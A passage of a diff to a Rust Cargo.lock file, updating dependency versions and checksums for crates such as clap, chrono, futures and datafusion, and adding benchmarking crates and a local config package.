"bincode" version = "1.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1449,9 +1473,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.4.1" +version = "2.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "327762f6e5a765692301e5bb513e0d9fef63be86bbc14528052b1cd3e6f03e07" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" dependencies = [ "serde", ] @@ -1511,9 +1535,9 @@ dependencies = [ [[package]] name = "borsh" -version = "1.2.0" +version = "1.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bf617fabf5cdbdc92f774bfe5062d870f228b80056d41180797abf48bed4056e" +checksum = "f58b559fd6448c6e2fd0adb5720cd98a2506594cafa4737ff98c396f3e82f667" dependencies = [ "borsh-derive", "cfg_aliases", @@ -1521,15 +1545,15 @@ dependencies = [ [[package]] name = "borsh-derive" -version = "1.2.0" +version = "1.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f404657a7ea7b5249e36808dff544bc88a28f26e0ac40009f674b7a009d14be3" +checksum = "7aadb5b6ccbd078890f6d7003694e33816e6b784358f18e15e7e6d9f065a57cd" dependencies = [ "once_cell", - "proc-macro-crate 2.0.0", + "proc-macro-crate 3.1.0", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", "syn_derive", ] @@ -1556,9 +1580,9 @@ dependencies = [ [[package]] name = "bstr" -version = "1.8.0" +version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "542f33a8835a0884b006a0c3df3dadd99c0c3f296ed26c2fdc8028e01ad6230c" +checksum = "c48f0051a4b4c5e0b6d365cd04af53aeaa209e3cc15ec2cdb69e73cc87fbd0dc" dependencies = [ "memchr", "serde", @@ -1572,9 +1596,9 @@ checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" [[package]] name = "bytecheck" -version = "0.6.11" +version = "0.6.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8b6372023ac861f6e6dc89c8344a8f398fb42aaba2b5dbc649ca0c0e9dbcb627" +checksum = "23cdc57ce23ac53c931e88a43d06d070a6fd142f2617be5855eb75efc9beb1c2" dependencies = [ "bytecheck_derive", "ptr_meta", @@ -1583,9 +1607,9 @@ dependencies = [ [[package]] name = "bytecheck_derive" -version = "0.6.11" +version = "0.6.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a7ec4c6f261935ad534c0c22dbef2201b45918860eb1c574b972bd213a76af61" +checksum = "3db406d29fbcd95542e92559bed4d8ad92636d1ca8b3b72ede10b4bcc010e659" dependencies = [ "proc-macro2", "quote", @@ -1606,9 +1630,9 @@ checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" [[package]] name = "bytes-utils" -version = "0.1.3" +version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e47d3a8076e283f3acd27400535992edb3ba4b5bb72f8891ad8fbe7932a7d4b9" +checksum = "7dafe3a8757b027e2be6e4e5601ed563c55989fcf1546e933c66c8eb3a058d35" dependencies = [ "bytes", "either", @@ -1657,6 +1681,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cf034765b7d19a011c6d619e880582bf95e8186b580e6fab56589872dd87dcf5" [[package]] +name = "cast" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37b2a672a2cb129a2e41c10b1224bb368f9f37a2b16b612598138befd7b37eb5" + +[[package]] name = "cbc" version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1758,9 +1788,9 @@ dependencies = [ [[package]] name = "chrono" -version = "0.4.31" +version = "0.4.33" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f2c685bad3eb3d45a01354cedb7d5faa66194d1d58ba6e267a8de788f79db38" +checksum = "9f13690e35a5e4ace198e7beea2895d29f3a9cc55015fcebe6336bd2010af9eb" dependencies = [ "android-tzdata", "iana-time-zone", @@ -1768,14 +1798,14 @@ dependencies = [ "num-traits", "serde", "wasm-bindgen", - "windows-targets 0.48.5", + "windows-targets 0.52.0", ] [[package]] name = "chrono-tz" -version = "0.8.4" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e23185c0e21df6ed832a12e2bda87c7d1def6842881fb634a8511ced741b0d76" +checksum = "91d7b79e99bfaa0d47da0687c43aa3b7381938a62ad3a6498599039321f660b7" dependencies = [ "chrono", "chrono-tz-build", @@ -1794,6 +1824,33 @@ dependencies = [ ] [[package]] +name = "ciborium" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42e69ffd6f0917f5c029256a24d0161db17cea3997d185db0d35926308770f0e" +dependencies = [ + "ciborium-io", + "ciborium-ll", + "serde", +] + +[[package]] +name = "ciborium-io" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05afea1e0a06c9be33d539b876f1ce3692f4afea2cb41f740e7743225ed1c757" + +[[package]] +name = "ciborium-ll" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57663b653d948a338bfb3eeba9bb2fd5fcfaecb9e199e87e1eda4d9e8b240fd9" +dependencies = [ + "ciborium-io", + "half", +] + +[[package]] name = "cidr-utils" version = "0.5.11" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1818,6 +1875,12 @@ dependencies = [ ] [[package]] +name = "cityhasher" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ceab37c9e94f42414cccae77e930232c517f1bb190947018cffb0ab41fc40992" + +[[package]] name = "clap" version = "3.2.25" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1829,31 +1892,31 @@ dependencies = [ "clap_lex 0.2.4", "indexmap 1.9.3", "once_cell", - "strsim", + "strsim 0.10.0", "termcolor", "textwrap", ] [[package]] name = "clap" -version = "4.4.8" +version = "4.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2275f18819641850fa26c89acc84d465c1bf91ce57bc2748b28c420473352f64" +checksum = "80c21025abd42669a92efc996ef13cfb2c5c627858421ea58d5c3b331a6c134f" dependencies = [ "clap_builder", - "clap_derive 4.4.7", + "clap_derive 4.5.0", ] [[package]] name = "clap_builder" -version = "4.4.8" +version = "4.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "07cdf1b148b25c1e1f7a42225e30a0d99a615cd4637eae7365548dd4529b95bc" +checksum = "458bf1f341769dfcf849846f65dffdf9146daa56bcd2a47cb4e1de9915567c99" dependencies = [ "anstream", "anstyle", - "clap_lex 0.6.0", - "strsim", + "clap_lex 0.7.0", + "strsim 0.11.0", ] [[package]] @@ -1871,14 +1934,14 @@ dependencies = [ [[package]] name = "clap_derive" -version = "4.4.7" +version = "4.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442" +checksum = "307bc0538d5f0f83b8248db3087aa92fe504e4691294d0c96c0eabc33f47ba47" dependencies = [ "heck", "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -1892,9 +1955,9 @@ dependencies = [ [[package]] name = "clap_lex" -version = "0.6.0" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1" +checksum = "98cc8fbded0c607b7ba9dd60cd98df59af97e84d24e49c8557331cfc26d301ce" [[package]] name = "clipboard-win" @@ -1923,7 +1986,7 @@ dependencies = [ "delegate-attr", "futures", "hostname", - "http", + "http 0.2.11", "serde", "serde_json", "snafu 0.6.10", @@ -1976,7 +2039,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4f6af96839c04974cf381e427792a99913ecf3f7bfb348f153dc8a8e5f9803ad" dependencies = [ "anyhow", - "base64 0.21.5", + "base64 0.21.7", "hex", "lazy_static", "num_enum", @@ -1984,10 +2047,58 @@ dependencies = [ ] [[package]] +name = "config" +version = "0.1.0" +dependencies = [ + "actix-web-prometheus", + "ahash 0.8.7", + "anyhow", + "arrow", + "arrow-json", + "arrow-schema", + "aws-sdk-dynamodb", + "base64 0.21.7", + "byteorder", + "bytes", + "chrono", + "cityhasher", + "dashmap", + "dotenv_config", + "dotenvy", + "get_if_addrs", + "getrandom", + "gxhash", + "hashbrown 0.14.3", + "hex", + "indexmap 2.1.0", + "itertools 0.12.1", + "log", + "memchr", + "murmur3", + "once_cell", + "parking_lot 0.12.1", + "parquet", + "prometheus", + "rand", + "reqwest", + "segment", + "serde", + "serde_json", + "svix-ksuid", + "sysinfo", + "tokio", + "tracing", + "tracing-log 0.2.0", + "tracing-subscriber", + "utoipa", + "walkdir", +] + +[[package]] name = "const-oid" -version = "0.9.5" +version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "28c122c3980598d243d63d9a704629a2d748d101f278052ff068be5a4423ab6f" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" [[package]] name = "const-random" @@ -2043,9 +2154,9 @@ dependencies = [ [[package]] name = "core-foundation" -version = "0.9.3" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" dependencies = [ "core-foundation-sys", "libc", @@ -2053,9 +2164,9 @@ dependencies = [ [[package]] name = "core-foundation-sys" -version = "0.8.4" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" [[package]] name = "cpp_demangle" @@ -2068,9 +2179,9 @@ dependencies = [ [[package]] name = "cpufeatures" -version = "0.2.11" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce420fe07aecd3e67c5f910618fe65e94158f6dcc0adf44e00d69ce2bdfe0fd0" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" dependencies = [ "libc", ] @@ -2100,57 +2211,82 @@ dependencies = [ ] [[package]] +name = "criterion" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2b12d017a929603d80db1831cd3a24082f8137ce19c69e6447f54f5fc8d692f" +dependencies = [ + "anes", + "cast", + "ciborium", + "clap 4.5.0", + "criterion-plot", + "is-terminal", + "itertools 0.10.5", + "num-traits", + "once_cell", + "oorandom", + "rayon", + "regex", + "serde", + "serde_derive", + "serde_json", + "tinytemplate", + "walkdir", +] + +[[package]] +name = "criterion-plot" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b50826342786a51a89e2da3a28f1c32b06e387201bc2d19791f622c673706b1" +dependencies = [ + "cast", + "itertools 0.10.5", +] + +[[package]] name = "crossbeam-channel" -version = "0.5.8" +version = "0.5.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" +checksum = "176dc175b78f56c0f321911d9c8eb2b77a78a4860b9c19db83835fea1a46649b" dependencies = [ - "cfg-if 1.0.0", "crossbeam-utils", ] [[package]] name = "crossbeam-deque" -version = "0.8.3" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" dependencies = [ - "cfg-if 1.0.0", "crossbeam-epoch", "crossbeam-utils", ] [[package]] name = "crossbeam-epoch" -version = "0.9.15" +version = "0.9.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" dependencies = [ - "autocfg", - "cfg-if 1.0.0", "crossbeam-utils", - "memoffset", - "scopeguard", ] [[package]] name = "crossbeam-queue" -version = "0.3.8" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d1cfb3ea8a53f37c40dea2c7bedcbd88bdfae54f5e2175d6ecaff1c988353add" +checksum = "df0346b5d5e76ac2fe4e327c5fd1118d6be7c51dfb18f9b7922923f287471e35" dependencies = [ - "cfg-if 1.0.0", "crossbeam-utils", ] [[package]] name = "crossbeam-utils" -version = "0.8.16" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" -dependencies = [ - "cfg-if 1.0.0", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" [[package]] name = "crunchy" @@ -2216,9 +2352,9 @@ dependencies = [ [[package]] name = "darling" -version = "0.20.3" +version = "0.20.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0209d94da627ab5605dcccf08bb18afa5009cfbef48d8a8b7d7bdbc79be25c5e" +checksum = "fc5d6b04b3fd0ba9926f945895de7d806260a2d7431ba82e7edaecb043c4c6b8" dependencies = [ "darling_core", "darling_macro", @@ -2226,27 +2362,27 @@ dependencies = [ [[package]] name = "darling_core" -version = "0.20.3" +version = "0.20.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "177e3443818124b357d8e76f53be906d60937f0d3a90773a664fa63fa253e621" +checksum = "04e48a959bcd5c761246f5d090ebc2fbf7b9cd527a492b07a67510c108f1e7e3" dependencies = [ "fnv", "ident_case", "proc-macro2", "quote", - "strsim", - "syn 2.0.39", + "strsim 0.10.0", + "syn 2.0.48", ] [[package]] name = "darling_macro" -version = "0.20.3" +version = "0.20.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" +checksum = "1d1545d67a2149e1d93b7e5c7752dce5a7426eb5d1357ddcfd89336b94444f77" dependencies = [ "darling_core", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] @@ -2256,7 +2392,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" dependencies = [ "cfg-if 1.0.0", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "lock_api", "once_cell", "parking_lot_core 0.9.9", @@ -2265,18 +2401,20 @@ dependencies = [ [[package]] name = "data-encoding" -version = "2.4.0" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c2e66c9d817f1720209181c316d28635c050fa304f9c79e47a520882661b7308" +checksum = "7e962a19be5cfc3f3bf6dd8f61eb50107f356ad6270fbb3ed41476571db78be5" [[package]] name = "datafusion" -version = "33.0.0" -source = "git+https://github.com/apache/arrow-datafusion.git?rev=b648d4e22e82989c65523e62312e1995a1543888#b648d4e22e82989c65523e62312e1995a1543888" +version = "35.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4328f5467f76d890fe3f924362dbc3a838c6a733f762b32d87f9e0b7bef5fb49" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "arrow", "arrow-array", + "arrow-ipc", "arrow-schema", "async-compression", "async-trait", @@ -2295,9 +2433,9 @@ dependencies = [ "futures", "glob", "half", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "indexmap 2.1.0", - "itertools 0.12.0", + "itertools 0.12.1", "log", "num_cpus", "object_store", @@ -2312,15 +2450,16 @@ dependencies = [ "url", "uuid", "xz2", - "zstd 0.13.0", + "zstd", ] [[package]] name = "datafusion-common" -version = "33.0.0" -source = "git+https://github.com/apache/arrow-datafusion.git?rev=b648d4e22e82989c65523e62312e1995a1543888#b648d4e22e82989c65523e62312e1995a1543888" +version = "35.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d29a7752143b446db4a2cccd9a6517293c6b97e8c39e520ca43ccd07135a4f7e" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "arrow", "arrow-array", "arrow-buffer", @@ -2336,8 +2475,9 @@ dependencies = [ [[package]] name = "datafusion-execution" -version = "33.0.0" -source = "git+https://github.com/apache/arrow-datafusion.git?rev=b648d4e22e82989c65523e62312e1995a1543888#b648d4e22e82989c65523e62312e1995a1543888" +version = "35.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d447650af16e138c31237f53ddaef6dd4f92f0e2d3f2f35d190e16c214ca496" dependencies = [ "arrow", "chrono", @@ -2345,7 +2485,7 @@ dependencies = [ "datafusion-common", "datafusion-expr", "futures", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "log", "object_store", "parking_lot 0.12.1", @@ -2356,10 +2496,11 @@ dependencies = [ [[package]] name = "datafusion-expr" -version = "33.0.0" -source = "git+https://github.com/apache/arrow-datafusion.git?rev=b648d4e22e82989c65523e62312e1995a1543888#b648d4e22e82989c65523e62312e1995a1543888" +version = "35.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8d19598e48a498850fb79f97a9719b1f95e7deb64a7a06f93f313e8fa1d524b" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "arrow", "arrow-array", "datafusion-common", @@ -2371,8 +2512,9 @@ dependencies = [ [[package]] name = "datafusion-optimizer" -version = "33.0.0" -source = "git+https://github.com/apache/arrow-datafusion.git?rev=b648d4e22e82989c65523e62312e1995a1543888#b648d4e22e82989c65523e62312e1995a1543888" +version = "35.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b7feb0391f1fc75575acb95b74bfd276903dc37a5409fcebe160bc7ddff2010" dependencies = [ "arrow", "async-trait", @@ -2380,34 +2522,35 @@ dependencies = [ "datafusion-common", "datafusion-expr", "datafusion-physical-expr", - "hashbrown 0.14.2", - "itertools 0.12.0", + "hashbrown 0.14.3", + "itertools 0.12.1", "log", "regex-syntax 0.8.2", ] [[package]] name = "datafusion-physical-expr" -version = "33.0.0" -source = "git+https://github.com/apache/arrow-datafusion.git?rev=b648d4e22e82989c65523e62312e1995a1543888#b648d4e22e82989c65523e62312e1995a1543888" +version = "35.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e911bca609c89a54e8f014777449d8290327414d3e10c57a3e3c2122e38878d0" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "arrow", "arrow-array", "arrow-buffer", "arrow-ord", "arrow-schema", - "base64 0.21.5", + "base64 0.21.7", "blake2", "blake3", "chrono", "datafusion-common", "datafusion-expr", "half", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "hex", "indexmap 2.1.0", - "itertools 0.12.0", + "itertools 0.12.1", "log", "md-5", "paste", @@ -2421,10 +2564,11 @@ dependencies = [ [[package]] name = "datafusion-physical-plan" -version = "33.0.0" -source = "git+https://github.com/apache/arrow-datafusion.git?rev=b648d4e22e82989c65523e62312e1995a1543888#b648d4e22e82989c65523e62312e1995a1543888" +version = "35.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e96b546b8a02e9c2ab35ac6420d511f12a4701950c1eb2e568c122b4fefb0be3" dependencies = [ - "ahash 0.8.6", + "ahash 0.8.7", "arrow", "arrow-array", "arrow-buffer", @@ -2437,9 +2581,9 @@ dependencies = [ "datafusion-physical-expr", "futures", "half", - "hashbrown 0.14.2", + "hashbrown 0.14.3", "indexmap 2.1.0", - "itertools 0.12.0", + "itertools 0.12.1", "log", "once_cell", "parking_lot 0.12.1", @@ -2451,8 +2595,9 @@ dependencies = [ [[package]] name = "datafusion-sql" -version = "33.0.0" -source = "git+https://github.com/apache/arrow-datafusion.git?rev=b648d4e22e82989c65523e62312e1995a1543888#b648d4e22e82989c65523e62312e1995a1543888" +version = "35.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d18d36f260bbbd63aafdb55339213a23d540d3419810575850ef0a798a6b768" dependencies = [ "arrow", "arrow-schema", @@ -2501,9 +2646,9 @@ dependencies = [ [[package]] name = "deranged" -version = "0.3.9" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f32d04922c60427da6f9fef14d042d9edddef64cb9d4ce0d64d0685fbeb1fd3" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" dependencies = [ "powerfmt", "serde", @@ -2542,20 +2687,11 @@ dependencies = [ [[package]] name = "dirs" -version = "4.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca3aa72a6f96ea37bbc5aa912f6788242832f75369bdfdadcb0e38423f100059" -dependencies = [ - "dirs-sys 0.3.7", -] - -[[package]] -name = "dirs" version = "5.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225" dependencies = [ - "dirs-sys 0.4.1", + "dirs-sys", ] [[package]] @@ -2570,17 +2706,6 @@ dependencies = [ [[package]] name = "dirs-sys" -version = "0.3.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b1d1d91c932ef41c0f2663aa8b0ca0342d444d842c06914aa0a7e352d0bada6" -dependencies = [ - "libc", - "redox_users", - "winapi 0.3.9", -] - -[[package]] -name = "dirs-sys" version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" @@ -2616,7 +2741,7 @@ checksum = "e5766087c2235fec47fafa4cfecc81e494ee679d0fd4a59887ea0919bfb0e4fc" dependencies = [ "cfg-if 1.0.0", "libc", - "socket2 0.5.5", + "socket2", "windows-sys 0.48.0", ] @@ -2628,9 +2753,9 @@ checksum = "fea41bba32d969b513997752735605054bc0dfa92b4c56bf1189f2e174be7a10" [[package]] name = "dotenv_config" -version = "0.1.6" +version = "0.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72ef519d2aabc15ca3dba4729976066fa23f80187bf2b19d623d24fe1a0ec3ea" +checksum = "4bce5ef5fd13358c4135f7ec808e6eb0e4fe8a93e399ea73d9ea24e3ec3f78b5" dependencies = [ "anyhow", "askama", @@ -2695,29 +2820,29 @@ dependencies = [ [[package]] name = "enum-iterator" -version = "1.4.1" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7add3873b5dd076766ee79c8e406ad1a472c385476b9e38849f8eec24f1be689" +checksum = "9fd242f399be1da0a5354aa462d57b4ab2b4ee0683cc552f7c007d2d12d36e94" dependencies = [ "enum-iterator-derive", ] [[package]] name = "enum-iterator-derive" -version = "1.2.1" +version = "1.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eecf8589574ce9b895052fa12d69af7a233f99e6107f5cb8dd1044f2a17bfdcb" +checksum = "03cdc46ec28bd728e67540c528013c6a10eb69a02eb31078a1bda695438cbfb8" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] name = "env_logger" -version = "0.10.1" +version = "0.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95b3f3e67048839cb0d0781f445682a35113da7121f7c949db0e2be96a4fbece" +checksum = "4cd405aab171cb85d6735e5c8d9db038c17d3ca007a4d2c25f337935c3d90580" dependencies = [ "humantime", "is-terminal", @@ -2734,12 +2859,12 @@ checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" [[package]] name = "errno" -version = "0.3.7" +version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f258a7194e7f7c2a7837a8913aeab7fd8c383457034fa20ce4dd3dcb813e8eb8" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" dependencies = [ "libc", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -2754,12 +2879,12 @@ dependencies = [ [[package]] name = "etcd-client" -version = "0.12.1" +version = "0.12.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3d982a3b3088a5f95d19882d298b352a2e0be20703e3080c1e6767731d5dec79" +checksum = "4ae697f3928e8c89ae6f4dcf788059f49fd01a76dc53e63628f5a33881f5715e" dependencies = [ - "http", - "prost 0.12.2", + "http 0.2.11", + "prost 0.12.3", "tokio", "tokio-stream", "tonic 0.10.2", @@ -2818,24 +2943,25 @@ checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" [[package]] name = "faststr" -version = "0.2.11" +version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "284eac9300ad17d2492e1e87219768b8ab97fb2c74a61cdbc0ced31d3f711159" +checksum = "c176ff74f084f24c4fdc98ac22d11e27da8daffbcbd13f4d71180758a319c2e3" dependencies = [ "bytes", "serde", + "simdutf8", ] [[package]] name = "filetime" -version = "0.2.22" +version = "0.2.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d4029edd3e734da6fe05b6cd7bd2960760a616bd2ddd0d59a0124746d6272af0" +checksum = "1ee447700ac8aa0b2f2bd7bc4462ad686ba06baa6727ac149a2d6277f0d240fd" dependencies = [ "cfg-if 1.0.0", "libc", - "redox_syscall 0.3.5", - "windows-sys 0.48.0", + "redox_syscall 0.4.1", + "windows-sys 0.52.0", ] [[package]] @@ -2911,9 +3037,9 @@ checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" [[package]] name = "form_urlencoded" -version = "1.2.0" +version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a62bc1cf6f830c2ec14a513a9fb124d0a213a629668a4186f329db21fe045652" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" dependencies = [ "percent-encoding", ] @@ -2936,9 +3062,9 @@ checksum = "e6d5a32815ae3f33302d95fdcb2ce17862f8c65363dcfd29360480ba1001fc9c" [[package]] name = "futures" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "da0290714b38af9b4a7b094b8a37086d1b4e61f2df9122c3cad2577669145335" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" dependencies = [ "futures-channel", "futures-core", @@ -2951,9 +3077,9 @@ dependencies = [ [[package]] name = "futures-channel" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ff4dd66668b557604244583e3e1e1eada8c5c2e96a6d0d6653ede395b78bbacb" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" dependencies = [ "futures-core", "futures-sink", @@ -2961,15 +3087,15 @@ dependencies = [ [[package]] name = "futures-core" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eb1d22c66e66d9d72e1758f0bd7d4fd0bee04cad842ee34587d68c07e45d088c" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" [[package]] name = "futures-executor" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0f4fb8693db0cf099eadcca0efe2a5a22e4550f98ed16aba6c48700da29597bc" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" dependencies = [ "futures-core", "futures-task", @@ -2989,9 +3115,9 @@ dependencies = [ [[package]] name = "futures-io" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8bf34a163b5c4c52d0478a4d757da8fb65cabef42ba90515efee0f6f9fa45aaa" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" [[package]] name = "futures-lite" @@ -3010,32 +3136,32 @@ dependencies = [ [[package]] name = "futures-macro" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "53b153fd91e4b0147f4aced87be237c98248656bb01050b96bf3ee89220a8ddb" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.39", + "syn 2.0.48", ] [[package]] name = "futures-sink" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e36d3378ee38c2a36ad710c5d30c2911d752cb941c00c72dbabfb786a7970817" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" [[package]] name = "futures-task" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "efd193069b0ddadc69c46389b740bbccdd97203899b48d09c5f7969591d6bae2" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" [[package]] name = "futures-util" -version = "0.3.29" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a19526d624e703a3179b3d322efec918b6246ea0fa51d41124525f00f1cc8104" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" dependencies = [ "futures-channel", "futures-core", @@ -3108,9 +3234,9 